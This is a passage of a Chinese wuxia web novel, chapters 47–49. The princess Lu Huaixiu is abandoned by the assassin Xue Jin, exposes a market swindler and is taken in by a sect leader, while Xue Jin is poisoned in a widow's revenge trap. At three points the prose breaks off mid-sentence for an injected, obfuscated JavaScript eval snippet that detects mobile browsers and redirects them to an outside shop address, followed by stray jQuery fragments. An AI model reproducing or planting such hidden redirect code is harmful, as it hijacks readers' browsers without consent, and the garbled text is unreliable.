这一句话把薛矜猛地拉回现实,他听到这一声亲昵的称呼,不由得嘴角抽搐了一下。虽然内心是拒绝的,但他并未对此提出什么反对意见,毕竟这只乌鸦是教主的爱宠,替其下达很多命令,在教中备受尊崇,就是核心弟子见到它,也要礼遇三分。更何况他十二岁时就养在教主身边,这只乌鸦可以说是从小看着他长大的,他们之间向来亲近。 薛矜不太好回答对方的问题,大脑快速运转一番以后只好糊弄道:“没想什么。任务我接下了,明天就出发。”他说完好半天又想起什么似的,从袖中取出一枚流光溢彩的宝石,随手一扔,稳稳落在桌上。 他转眼看向对面的乌鸦,轻笑一声道:“这是我特地给你准备的礼物,本来是想回去之后再送给你的。”说罢又补充一句:“我记得你最喜欢亮晶晶的东西了。” 那只乌鸦见了这枚宝石,就跟见到了蜜糖的熊般,兴奋地浑身羽毛炸起。饶是它在教主身边呆了多年,见惯了奇珍异宝,看着这枚在烛光下散发出淡淡光辉的宝石也不由得眼前一亮。光看着都能感觉到品相之好,必定是价值连城的宝物。 薛矜轻笑着伸手顺了顺它翅膀上的羽毛,眼珠子一转,坏心眼立即就起来了。他将双手背在身后,恐吓似的说道:“要拿就赶紧拿,等我反悔可就来不及了。” 闻听此言,尊贵无比的乌鸦大人生怕他反悔似的叼起那枚宝石,口中含糊不清地说道:“行,那不打扰你了,我还要回去复命。你做完任务后就马上回来吧,我和教主都很想你。” 怕是想我做的饭吧。薛矜内心腹诽着,不过还是点头应允道:“嗯,我知道了。” 下一刻,那只乌鸦便扑棱着翅膀,叼着宝石沿路返回。薛矜目送它离开,直到再也看不见,这才收回了视线,转首注视着门口——门上窗户纸倒映出来一道纤瘦窈窕的身影,单凭轮廓便能判断出那定是位美人。只是这位美人既不敲门也不出声,似乎拿不定主意一样在屋外来回走动,不进来也没有离去的迹象。 此人是谁,薛矜一看便知。他有些疑惑,却还是扬声道:“进来吧。” 话音刚落,门外的人明显怔愣了一下,随后便吱呀一声推开了屋门,步履轻盈地向他走来。来人一袭淡粉色衣裙,三千青丝梳成数条辫子,用发带松松地系着,整个人如同三月的桃花般娇美,正是陆怀袖。 薛矜招呼少女坐下后,又沏了一杯茶给她。见对方只稍稍抿一口便放下了茶盏,他歪着头一脸好奇地提出了自己的疑惑:“陆小姐这么晚来找我,是有什么事情吗?” 陆怀袖没有回他的话,只是低垂着眸子,蝶翼般的睫羽在烛火的映衬下,投落出弧形的阴影。她看着杯盏中浮沉的茶叶,嘴唇翕动了一下,似乎在克制什么,半晌方道:“我……我快到地方了,马上就要同你分道扬镳,所以想和你多说些话,不行么?” 她的声音低如蚊蚋,薛矜若非耳力过人,只怕也听不清她的回答。他闻言一愣,随即了然笑道:“行啊,陆小姐想聊什么都可以,在下必定知无不言言无不尽。” 话音一落,随之而来的是一阵沉默。就在薛矜琢磨着该怎么打破沉默时,突然听见少女开口道:“咱俩现在也算是朋友了吧?” 薛矜看着眼前花朵般娇美的少女,挑了挑眉,用开玩笑的语气说道:“这个问题你好像不久前问过我。” 陆怀袖被他看得有些不自在,欲盖弥彰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273393|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地假咳两声道:“那我作为你的朋友,关心关心你的感情问题,也没什么奇怪的对吧。” 此言一出,薛矜先是没听清似的轻啊一声,随即神情古怪地看了她一眼,意味深长地说道:“当然不奇怪,但你问了也是白问。我不喜欢谁,也不想被谁喜欢。” 短短一句话就终结了这个话题,少女的勇气哗啦啦地流了个干净。眼看即将到达目的地,她心神恍惚了好几天,根本就舍不得和少年分别。白天看到的寻人启事让她的不安情绪达到了极点,满溢而出的情感,再也无法控制。无休止的冲动驱使她来到这里,将爱意宣之于口。只是她没想到,一切还没开始就已经结束了。 此人冷心冷情无情无欲,不会对任何人动心。她做出决定之前就明白这一点,但偏不信这个邪,直到现在才彻底死了心。 虽然没有被明面上拒绝,但陆怀袖已知自己此行必将无功而返。她觉得自己的少女心都碎成了八瓣,藏在袖子里的手狠狠攥紧又松开,脸上的沮丧一览无余。 薛矜眼见少女肉眼可见地低落下去,微不可察地轻叹了一口气。半晌过后,他尴尬地清了清嗓子,状似随意地问道:“陆小姐可否帮我去菜市口买几个包子当早膳?” 虽然明知对方并未做错什么,但被他间接拒绝了,陆怀袖还是不可避免地感到不爽。她抬眸对上少年的目光,断然拒绝:“想都别想。”看到对方因为自己的话耷拉着眼睛,她竟生出了一种报复的快感。 不过少年很快便振作起来,他用那双泛着水光的狐狸眼撒娇一样地看着少女,双手合十,一开口说话就是柔柔软软的调子:“拜托啦。” 陆怀袖跟那双湿漉漉的眼睛对视半晌后,终于还是低下了头。她忍不住在心里唾弃自己,你这个不争气的女人,这就中了敌人的美男计。不过她很快很快又释然了,套用薛矜先前说过的一句话,当一个美少年眼巴巴看着你求你把他喂饱的时候,你是很难拒绝的。 她再也维持不住那张冷脸,对他翻个白眼,一脸无奈地说道:“好吧,我答应你,你明天就张嘴等着喂饭吧。” 见她答应,薛矜的眼睛笑成了弯月。笑够了之后,他真情实意地夸赞道:“陆小姐真是个大好人啊。” 陆怀袖闻言略略一挑眉,这话好耳熟,她什么时候听过来着。她努力在脑海里搜寻过往记忆,就在这时,薛矜掏出一锭银子轻轻置于桌上。她见状毫不客气地将银子纳入怀中,随后再次拿起茶杯,将杯中茶一饮而尽,起身向屋外走去。 快要出门时她听到身后传来一句:“明天见。”虽然轻哼了一声以示不满,但她还是在心里暗暗回道:“明天见。” 薛矜看着她关上门离开,又听得她脚步声远去,向来懒散的眼底笑意瞬间消散,表情变得复杂且难以言喻起来。不过片刻,他又恢复成原本那副悠哉游哉的模样,好像刚才的只是一抹幻影。 一阵静默过后,他眉尾一挑,长袖一拂,整个人消失在茫茫月色中。 47. 辞别 天刚蒙蒙亮,陆怀袖就起了个大早,匆忙洗漱换了一身衣服,随后便带着昨晚少年给的一锭银子出了客栈。 顶着惺忪睡眼和乱发的她在内心唾弃自己十几遍——她肯定是被猪油蒙了心才会答应给那个家伙买早膳吧。 起初她并不知晓哪里的早点美味可口,便找了一个看起来面善的人询问。那路人见她生得貌美,又很懂礼数,当下便热情地向她推荐了城南的一家包子铺,还贴心为她指路。 陆怀袖谢过那人之后就迎着朝霞朝目的地进发。那间包子铺位于城南菜市口,离她所在之处并不远,还不到一炷香的时间她就已经到了目的地,只是她还没来得及找那家店就听到一阵喧闹的争吵声。 少女眉梢轻扬,循着声源望去,发现一堆人围成一团嚷嚷着,不知道在说些什么。 她久居深宫,不谙市井之事,根本没见过这样的场面,一时心下好奇,便挤进人群凑近一看,只见一个商人打扮的中年男子正拽着一位摆摊卖菜的老婆婆的袖子,口中喋喋不休。 陆怀袖听了一会,总算明白了这件事的来龙去脉——这名男子吃了从老婆婆这里买的芹菜后,腹痛不止,家里人无一幸免。他今天来到这里就是为了跟罪魁祸首理论,让她赔自己钱。 只见那男子提着一袋芹菜,怒视着老妇人,语气咄咄逼人:“你这老太婆,把毒芹当水芹卖给我,害得我们一家人这么惨!今天你不赔我钱,咱们就官府见,我也不怕把事情闹大了!” 围观者皆点头连连应和,一时间,尖刻的骂声朝着老婆婆劈面而来,铺天盖地的把她包裹住。处在风暴中心的她像鹌鹑一样瑟瑟发抖,口中只不住地说道:“我没有,我没有卖毒菜!我真的是清白的,你们就相信我吧……”只是话一出口就被周围的声音淹没。 陆怀袖将面前的一切收入眼底,秀眉微微蹙起。这位老婆婆看上去很是老实,不像是会做出这等伤天害理之事的人。她垂眸看着男子手中提着的那把芹菜,神情十分专注。 脑中突然灵光一闪,少女“啊”了一声,看上去恍然大悟。想通这其中的关窍后,她不再犹豫,勇敢地上前一步,对着那男子说道:“等等,你手里的芹菜明明就是水芹,可别睁着眼睛说瞎话啊。” 她的声音不大,但此话一出,嘈杂的菜市口登时变得落针可闻,所有人的视线都齐刷刷投向了她。那男子闻言转过身来,见她只不过是个弱不禁风的小姑娘,不免起了轻视之心,恶声恶气地说道:“小丫头片子胡说八道什么呢,你一看就是个四体不勤、五谷不分的娇小姐,哪里懂得这些。” 他说话夹枪带棒的,但陆怀袖没有被他吓到,反而冷脸回视,拔高了声音说道:“你手上拿着的是水芹,和毒芹大不相同,吃了绝不会有问题。我以前在医书上看过这些。”她的确没有说谎,以前在宫里呆得无聊,她总爱捧着一卷医书细读。她曾经想过,若是生在平常人家,她最想做的就是一名悬壶济世的医女。 那卖菜阿婆见有人站出来维护自己,几乎激动得要流出泪来。她抬眼看向挺身而出的少女,像是在寻求认同一般说道:“姑娘,你相信我,我才没有卖毒菜。我卖菜三十余年,难道连有没有毒都分不清么?” 陆怀袖点点头道:“老人家你放心,若你是清白的,我定会还你一个公道。”她说着递给对方一个安抚的眼神,随后自顾自地继续说道:“水芹和毒芹的区别,主要在于外观。首先,水芹茎梗光洁,没有绒毛,而毒芹的茎上是毛茸茸的。其次,毒芹的叶片宽而短,而水芹的叶齿细长茎也细长。大家不信的话可以凑过来看看,此人手里拿着的分明就是水芹,而水芹是没有毒的,他要不是在撒谎,怎么会因此中毒?” 她这番话掷地有声,有理有据,说得男子脸上顿时一阵青一阵白。陆怀袖将他的神色尽皆收入眼底,心里跟明镜似的,一下子了然。她嘴角勾起了一点嘲讽的弧度,乘胜追击道:“你今天的所作所为,想必是为了讹这老人家一笔。如今事迹败露,你妨碍了人家的生意,总得给点补偿吧,不然咱们就官府见吧。”她刻意将最后一句话重重地吐出来,也算是以其人之道还治其人之身了。 围观者这才从少女这里得知整件事情的真相,他们此时方知自己被眼前的男子当枪使了,差点冤枉了无辜的人,自然是群情激愤,纷纷将矛头指向了那个罪魁祸首。 舆论一时发生了翻天覆地的变化,男子知道自己决计讨不了好去,不想被打板子的他只好舔着脸上前,讨饶地向老婆婆作个揖:“是我利欲熏心,才作下了这等蠢事,还请您老人家大人有大量不要放在心上,这是我的一点赔礼。”他说完从袖中取出一锭银子递了过去,之后不等对方反应便逃也似的跑远了。 众人见状先是愣了片刻,反应过来后觉得又好气又好笑,暗骂此人真是偷鸡不成蚀把米。见那人跑得没影了,他们又把视线移了回来,投落在刚才仗义执言的姑娘身上,只觉此女人品相貌皆是上佳,不由得在心里为她竖起大拇指。 那位卖菜阿婆对少女自然是心怀感激,今天若不是她挺身而出,揭露那个男子的阴谋,自己可就要破财消灾,伤筋动骨了。她这般想着,择了一把色泽鲜亮的新鲜蔬菜,面向少女真情实意地说道:“今日多亏姑娘相助,老太婆感激不尽!这是谢礼,请收下吧!”说完就要把菜双手递给陆怀袖。 陆怀袖见状连连摆手道:“不用了不用了,您挣点钱不容易,我不能白拿您的东西……” 好不容易劝住了老婆婆,这时一个大叔朝她迎面走来,满面春风地说道:“小姑娘,若非你挺身而出,大伙可就做了那小人的帮凶了。为了答谢你的好心肠,这袋包子就请你收下吧。”说完便拿出一袋热乎乎的包子,不由分说地塞入到陆怀袖手中。 少女呆呆地接过装着包子 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终于又回到了客栈,少女手上拎着一袋温热的灌汤包,哒哒哒地上了木梯,包子的温度隔着手掌的皮肉熨帖着心脏。她小跑至那人的房门前,抬手理了理跑动过程中微微有些凌乱的鬓发,随后叩了叩门,用尽量平静的声音说道:“在吗?是我。” 然而回应她的却是一片寂静。她心中霎时浮现不祥的预感,又加重力道敲了几下,重复了之前的操作,可屋内依旧没有回应。 里面没有人。依旧没有得到回应,让陆怀袖脑中只剩下这一个念头。她也没傻到认为对方是在睡懒觉,他只可能起得比自己早。那么不回应自己,只能是里面空无一人了。 她思及此,下意识捏紧了那个纸袋,力度大到骨节都有些泛白。也许过了很久,也许只是短短一瞬,她站在少年门口深吸了三口气之后,终于做出了决定,吱呀一声推开门走了进去。 屋内的确空无一人。 虽然已经做好了心理准备,但当陆怀袖没有看到意想中的那个人,她的心里还是难受极了,只觉得鼻尖泛起酸涩,眼眶中似有什么要滴落下来。 ——那个讨厌的家伙,叫她去买早膳竟然是为了支开她,方便自己跑路。 毫无预兆地被抛下,陆怀袖极力地克制着,不让自己哭出来,目光没有焦距地四处游移,很快被木桌上压着的一张字条吸引住了。她怔忪片刻,随后咬着下唇走了过去,将纸条拿起来,走到窗前,就着晨光展开来看,只见上面用清秀的瘦金体写着:送君千里,终须一别。 送君千里,终须一别。 陆怀袖死死盯住那八个字看了好长时间,眼光似乎是要透过这单薄的小纸条,在它主人身上烧出两个洞来。这个骗子、混账、没良心的坏蛋……明明答应了要一路护送她到北离王都的……等她下次见到他,一定要……一定要…… 不知看了多久,她眨了眨泛红的眼眶,咬牙将纸条揉作一团握在掌心,试图忘却那个人抛下她不告而别这件事。而就在她开始迷茫前路的时候,楼下传来一阵又一阵密集的脚步声和喧闹声。 48. 夜谈 那阵脚步声过后,一把壮年男子的声音就响了起来:“明月公主可在?”低沉的嗓音被浑厚的内力远远送出,传遍客栈每个角落。屋内的陆怀袖听到这久违的称呼,先是愣了一愣,随后意识到这个男人是冲她而来的。 她站在门口犹豫了片刻,最后还是推开了屋门,缓步往楼下走。只是她的脚步一点也没有上楼时那么轻快,步伐显得有些沉重,暴露出了主人此刻的情绪。 下至一楼后,陆怀袖眼见一名魁梧男子姿态随意地站在大堂,隐隐散发出散漫的气息。那名男子一身粗布灰衣,肤色如古铜,略显凌乱的中长发梳成马尾别在脑后,看上去落拓不羁。他的身后还跟着一个扎着双鬟的红衣女童,约莫十一二岁,看上去特别机灵可爱。 那名男子在陆怀袖打量自己的同时也眼尖的看见了她,他眯着眼睛上下打量着面前的少女,忽然拍了拍手,一副大喜过望的模样。还不等他说出想说的话,他身后的那名女童像小鹿似的一下跳到陆怀袖面前,那双乌溜溜的大眼睛一眨不眨地盯着她,笑意盈盈地说道:“想必这位神仙姐姐就是失踪已久的明月公主吧?比画像上的还要漂亮十倍呢。” 听她这般恭维,陆怀袖脸上一红,颇有些不好意思。片刻后,她轻轻地点了点头,算是承认了。而就在下一刻,那名灰衣男子大步向她走来,在离她一步之遥的位置停下脚步,言简意赅地说道:“在下斩风帮帮主厉清狂,接到朝廷的委托,四下搜寻公主殿下您的踪迹。很抱歉来迟了,让您流落在外受苦了。” 斩风帮?厉清狂?陆怀袖看着眼前这个微微弯下腰一脸歉意的男人,心中还有些不敢置信——毕竟那个家伙前脚刚走,就有人找上门来了。之前出于兴趣,她向薛……那个家伙打听过江湖上的奇闻轶事,从他那得知不少关于四大正派的事。这斩风帮就是四大正派之一,弟子遍布江湖上各个角落,江湖上有什么风吹草动斩风帮都是立马就知道了。 而四大正派与朝廷历来都有合作,朝廷为它们提供立身之本,它们帮朝廷维护各地治安。这次能劳烦帮主大人亲自出动,也足以见得朝廷对此次和亲的重视。 陆怀袖想到此处,自嘲地笑了一下,片刻后又状若无事地说道:“厉帮主是如何找到本宫的?” 厉清狂似乎是没想到她会问出这个问题,愣了一瞬间之后才如实相告:“昨晚有个人夜袭总舵,将一枚红缨飞镖射在我屋前的楹柱上,中间还压了张纸条,上面写着:明月公主就在永安客栈。我对纸条上的内容将信将疑,索性亲自前来验证,不想您果然就在此地。” 陆怀袖将他刚才的那番话一字不落的听了进去,心情忽然变得非常复杂。想来夜袭总舵的那个人就是他了……这个家伙,还为她找好了下家……只是抛下她不告而别,还是不可原谅。 她紧紧地咬着下唇,连拳头都捏得紧紧的,至于厉清狂所说的“此人轻功极其高明,潜入总舵居然没有一人察觉,定是位世所罕见的绝顶高手,在下可真想跟他比划比划啊”,她愣是一个字也没听进去。 那名女童对着一脸斗志昂扬的大叔翻了个白眼,随后定定地看着陆怀袖,冲她展颜一笑道:“公主殿下您好,我叫白小茶,是这位帮主的义女,很高兴能认识您这么个天仙似的大美人。” 她的表情是那么真挚,语气是那么诚恳,害得陆怀袖脸上又是一阵红。只不过除了害羞,她心里更多的是被夸漂亮的开心。片刻过后,她忽然想到了些什么,将手中拿着的油纸袋递给了这个名叫白小茶的女童,微笑道:“这是给你的见面礼,收下吧。” 因为一路小心护着,包子尚还冒着滚滚热气,白小茶闻着只觉得口水都要流下来。她看向陆怀袖,两只大眼笑成弯月,甜甜地道:“多谢殿下!您可真是人美心善啊!” 陆怀袖看着这名刚到人腰高的小姑娘,没来由的想起了自己的七妹妹。两人不仅年龄相仿,连容貌都有几分相似之处。一时间,她对这位小丫头也起了几分亲近之心。 就在这时,站在一旁静默许久的厉帮主忽然开口:“公主殿下,接下来就请您到鄙帮总舵暂居几天,稍作休整。之后在下会派人护送您和亲,直到抵达白河城,进入皇宫。” 陆怀袖听到“和亲”二字,脸上刚刚浮现的笑容消失了。她藏在衣袖的手指甲深深陷在掌心的肉里,只是手上的疼痛也抵不过内心的酸涩。满腔心事无法与人言说,她只好强打起精神,不让难过泄露出来:“我知道了。” 少女冲他摆出甜甜的笑容,厉清狂却敏锐地捕捉到了她脸上转瞬即逝的落寞。他嘴唇抿了一抿,终究忍了下去,最后什么也没有说出口。 * 斩风帮的总舵位于落叶镇的正义山庄,陆怀袖在被找到的当天住了进去,被安置在一间豪华的客房里面。 帮主厉清狂原本打算三天后派人护送她前往和亲地点,但陆怀袖不知出于什么心理,谎称自己身体不适,硬生生给拖到了七天后。厉清狂不知怎的没有反对,由她去了。 时间就这么飞快的过去,不知不觉间她已经在山庄住了三天。这三天她基本上跟白小茶混熟了,小丫头活泼可爱,能说会道,她从对方那里得知了许多江湖趣闻,倒也给日趋乏味的生活增添了几分乐趣。 只是随着时间的推移,出发的日子越来越近了,她不由愁眉苦脸起来,每天睡觉都睡不安稳。 寂寂深夜,陆怀袖躺在床上辗转反侧,月光透过窗户,将房间洒上了银白色的光。一想到今晚过去,离出发又近了一天,她便怎么也睡不着了。既然睡不着,她索性披衣而起,朝屋外走去。 她借着月光闲逛,一边赏月一边想着心事,不知不觉走到一处僻静的院落外,意外撞见了坐在凉亭里对月独酌的厉清狂。只是今晚的他,不再像往常那样落拓潇洒,目光收敛,眉头紧锁,一副忧思缠绕的模样。 陆怀袖看他这副模样,料想他必有心事,不想打扰到他。她本想悄悄离开,但是刚踏出脚步就被对方叫住了:“殿下深夜来此,是否有事找在下?” 听到叫唤后,少女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273395|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些无奈地转过身,朝厉清狂所在的凉亭走去,在他对面的石凳上坐下。静默了片刻之后,她没话找话地说道:“夜色深沉,月华如练,帮主在此赏月,真是好兴致啊。” 厉清狂本在给自己倒酒,闻言手一顿,将刚拿起的酒壶重新放回了桌上,苦笑一声道:“哪里是赏月呢,不过是在想些陈年旧事罢了。” 陆怀袖敏锐地捕捉到了什么,但她怕冒犯到对方,还是按捺住好奇心,没有多问。与她相对而坐的男人也许是喝多了酒,也许是心中压抑了太久,此时倾诉欲高涨:“若是殿下愿意听,在下也愿意讲。” 闻听此言,少女立刻坐直了身子,摆出一副洗耳恭听的模样。 厉清狂听罢,没有立刻做出回答,眸光明明暗暗不知在想什么。周围一下子变得寂静无声,似乎只有夜风拂过树梢的声音。他沉默了许久,久到陆怀袖以为他反悔了的时候,才听见他声音飘忽地说道:“我有一个朋友,他的青梅竹马和别的男人成亲了,还给对方生了个儿子。后来她和她的儿子双双染病去世,今天就是他们的祭日。” 他在说完后又猛的意识到什么,尴尬地清了清喉咙,欲盖弥彰地强调道:“这只是我的一个朋友的故事。” 陆怀袖默不作声地听完,即使内心经历了无数惊涛骇浪,面上还是装出一副我相信你的模样,很给面子地点点头:“嗯嗯嗯。”她不动声色地观察着对方的神情,心中暗想道:“没想到厉帮主的情路竟是如此坎坷,怪不得到现在也没有成家,估计是忘不了他那个青梅竹马吧。” 她这样想着,对这位名震江湖的厉帮主有了更进一步的了解。她原本以为对方是因为沉迷练武无心情爱,这才孤寡至今,谁曾想背后还有这样一段辛酸往事。 她内心正惋惜不已,这时又听对方幽幽地开口说道:“如果那个人对她好的话,也许我那个朋友还不会如此意难平。可那人不仅夺了她的家产,还纳了一房小妾,即使如此,她依旧痴心不改。甚至……甚至在对方选择对她见死不救的时候,也没有死心。而她所倾心的那个人,不过是个既无才也无德的穷酸书生罢了。” 陆怀袖将他这番话听入耳中,此刻的心情格外复杂,看着他的眼神也充满了同情。因为这样一个人痛失所爱,任谁也接受不了吧。 厉清狂接收到她这个眼神,有些不自在地移开了视线,再次强调道:“是我的一个朋友,殿下可别误会了。” 陆怀袖闻言点头如小鸡啄米:“知道了知道了。” 厉清狂没有再说话,默默的给自己倒了一杯酒,就着月光喝下,明明很豪放很不羁,但陆怀袖却从他的神情中看出一丝落寞。每年的这个时候,他都会独自一人悼念那个早逝的心上人么? 世间所谓情爱,只会给人带来无穷无尽的烦恼啊。陆怀袖仰头望向天边的明月,忽然也想喝一壶酒,最好永远地醉下去,不用醒过来面对木已成舟的事实。 或许那样,她还可以骗自己,那个家伙一直都在她的身边,从不曾离去。 49. 陷阱 夜色如墨晕染天穹,薛矜戴着狐狸面具,慢悠悠地走着,直到在一宅院前停下。宅院里有他此行的任务目标——一个年纪轻轻就丧夫的寡妇。她被人悬赏买命,而他就是那个取她性命的人。 他纵身一跃而起,像一只灵敏的猫,轻巧地翻过了院墙,悄无声息地落在院中。他四下里一看,发现周围竟然一个人都没有,心里有些惊讶,不过他还是没有停下脚步,最后七拐八拐的总算是拐到了目标所在地。 屋内灯火通明,屋外漆黑一片,窗纸上倒映出一道纤细的影子,落进薛矜的眼里。他根本没有想要去隐藏,正大光明地推门而入,一个身形窈窕的女人顿时映入眼帘。 她正坐在梳妆台前的板凳上,纤纤素手握着木梳,一下一下梳理着如瀑青丝。镜子里显出一张不施粉黛却明艳动人的脸,肤白如雪,唇红如樱,任谁见了也要忍不住多看几眼。 薛矜走近了,女人听到动静回过头,与贸然闯入屋中的绯衣少年四目相对。奇怪的是,她的脸上没有任何惊讶或害怕的神情,好像早就猜到他会来似的。 而薛矜也敏锐的注意到了这一点。他刚想打个招呼,可还没开口,就听见对方慨叹似的抛来一句:“你终于来了。” 他见刺杀目标这般自来熟,挑了挑眉,心里虽然疑惑虽然有点讶异,但语气还是一贯的懒散:“夫人知道我今晚为何而来?” 女人弯起眼角,风情万种地笑了笑,末了抬头迎上他的视线,不紧不慢地说道:“我早就知道你会在今晚取我性命。” 薛矜听罢一下子来了兴致。死在他手下的人不计其数,他从没兴趣和他们攀谈,不过眼下他倒是好奇起这个女人来了,不知她为何死到临头了还能如此淡然。 他思索片刻,忽然顿悟,看向她的眼神都多了几分不可思议:“难道雇我杀你的人就是你自己?” 女人没有隐瞒的意思,轻轻地点点头:“薛摇光果然聪明,不愧是落月教最年轻的核心弟子,深得那位轩辕教主的信任。” 薛矜对她的恭维不置可否,此时的他倒愈发好奇起对方的目的来了。特地雇别人来杀自己,这本身就是一件令人匪夷所思的事。他实在好奇的紧,不由歪了歪头问道:“不知夫人此行此举是为何意?” 女人没有回答,只是死死地盯着他,半晌后方说道:“你还记得数月前在停剑山庄被你杀掉的那个魔教叛徒么?” 薛矜听罢“唔”了一声,单手撑着下巴,语气随意:“我杀过的人太多了,若非夫人提起,早就忘得一干二净了。”他注意到此话一出,女人的脸瞬间变得扭曲,故意拖长了调子,微笑着说:“夫人不会是那个叛徒的遗孀吧?” 他这话直接戳到了女人的肺管子上,她恶狠狠地盯着他,双眼喷出仇恨的怒火。等他终于欣赏够了对方滔天的恨意,才慢条斯理地说道:“夫人如此费尽心机地设下圈套引我前来,是为了替夫报仇吧。” 女人听到薛矜这番话恨不得将他千刀万剐,过得片刻,她深吸口气,将怒意忍下,声若寒冰地道:“你知道就好。” 她原本是停剑山庄的孟大小姐,和那名魔教护法相识相知相爱,最终结为秦晋之好。她原本以为两人能白头偕老,可薛矜的出现却毁掉了一切。自她夫君死后,她失魂落魄很长一段时间,过了许久才振作起来,决定让罪魁祸首血债血偿。她之所以花大价钱雇他来杀自己,只是为了引他前来,好伺机报仇。 如今目的已经达成,仇人近在眼前,她连装都不装了,声音里透着刻骨铭心的恨意:“明年的今天,就是你的祭日,你一定会为你的所作所为付出代价的。” 薛矜闻言长眉挑起,漫不经心地笑道:“夫人既然执意寻死,便怪不得在下了。” 他的话音刚一落地,那边的孟夫人便抽出腰间缠绕的软剑刺了上去,招式大开大合,攻势猛烈,完全一副拼命的架势。闪着寒光的剑锋呼啸而至,但薛矜还是那副散漫的样子,随手挥刀,便将敌人的攻击尽数化解。 墨色的刀光和银色的剑光织成一张大网将两个人包裹在其中,叮叮叮一阵密如连珠的声响过后,孟夫人还没来得及反应,手中的剑就被击飞,最后哐当一声,沉沉掉落在地上。 等她回过神来时,薛矜那冰冷的刀尖已然抵在了她的喉咙上,只要她往前一动,就会划破皮肤,沁出鲜红。 这场战斗结束的很快,不到片刻,胜负便已分晓。 薛矜略带惊讶地挑了挑眉:“夫人的武功居然这般高强,竟能在我手上走过三招。” 孟夫人闻言只是惨然一笑,有气无力地低语了一句:“我用金针刺穴,足足提升了三倍的功力,可最后还是惨败了。” 闻听此言,薛矜倒不由得佩服起这个女人的胆魄来。要知道这金针刺穴向来是快速提升功力的捷径,能使人短时间内功力暴涨,但此法异常凶险,效果过去之后难免一死。没想到她为了报仇,居然不惜做到这个地步。 孟夫人无视抵在她咽喉之上的刀,忽然一改先前的萎靡之气,自嘴角弯出一个颇得意的弧度:“我虽然败给了你,但你还是中计了,哈哈哈……” 她这莫名其妙的一番话,听得绯衣少年微微皱了皱好看的眉头,倏忽间将刀往前又逼近了一分,女人白皙的脖颈上立马沁出鲜血,殷红的血滴顺着漆黑的刀刃流淌下来。 可她依旧在笑,并且越发放肆,似乎是毫不在意自己的伤口:“你有没有觉得自己的身体好像有点不对劲?” 薛矜闻言一怔,下意识地运了功,忽然感觉四肢百骸传来一阵异样的麻痹感,似乎是中毒之兆。他正惊疑不定时,忽听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273396|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女人得意洋洋地续道:“我早知非你敌手,为了报仇只好另寻他路。在你到来之前,我便在剑上萃了毒粉,在挥剑刺向你时,毒粉瞬间就蔓延到了周围空气之中,让你避无可避,防不胜防。” 音落刹那,薛矜的身体僵了一下,不过片刻便又恢复了正常。他语气出奇平静地问道:“敢问夫人下的是什么毒?” 女人眯起眼以胜利者的姿态看向她的仇家:“是醉神花毒,能让你逐渐失去五感,最后坠入一场幻梦,再也无法醒来。”眼见少年身子微不可察地颤抖了下,她心中顿生出大仇得报的快感来,再接再厉道:“像你这样年少成名的绝顶高手,被逐一剥夺五感,慢慢沦为没有用的废物,最后连死亡都不能自己做主,那该是多么美好的一件事啊。” 她的声音如黄鹂般动听,说出的话却好似毒蛇吐信。薛矜眉头紧拧,神色罕见地凝重起来。这醉神花毒的确如她所言,中招者的五感会慢慢衰退,最后落得个生不生死不死的下场。而且这毒至今无人能解,倘若不幸中招,那就只有坐以待毙的份了。 而薛矜不喜欢等死。那个女人说得对,像他这样骄傲的人,却不得不看着自己逐渐失去所依仗的一切,最后连生死都无法掌控在手中,这无疑是对他最大的报复。 女人见大仇终得报,畅快地大笑起来。大笑过后,汩汩鲜血自她嘴角流出,她的身子如风中残烛般抖个不停,显然是金针刺穴的后遗症。但她并没有把自己的身体状况当回事,她就没打算要活着回去,如今大仇得报,她也能含笑九泉了。 意识开始变得模糊,眼前越来越黑,孟夫人撑着最后一口气,继续不遗余力地捅仇人刀子:“忘了告诉你,再过个一时半刻,四大正派的掌门人便会赶到这里合力围剿你。只因我早就将我的计划告知于他们,而他们也愿意同我合作,铲除你这个大魔头,为民除害。他们这个时候应该已经到了,你是逃不掉的。还望你挺过去,别被他们活捉了……” 她说完这番话,便吐出一口鲜血,支撑不住地向后倒去,没多久就栽倒在地上一动不动了。薛矜看都不用看,就知道她再也醒不过来了。 不过此刻他倒并不关心那个女人的生死,倘若她刚才所说的都是真的,接下来就有一场恶战要打了。敌方乃是正教中四位最强的好手,与之对战,自己恐怕凶多吉少。 绯衣少年垂目不语,眼神明明灭灭不知道在想什么,屋中气氛一时颇为凝重。不知过了多久,他脚步轻点,越过女人的尸体,缓步走到窗前。清冷的月光洒在他的脸上,衬得他安静又脆弱,像极了那精致易碎的瓷娃娃。 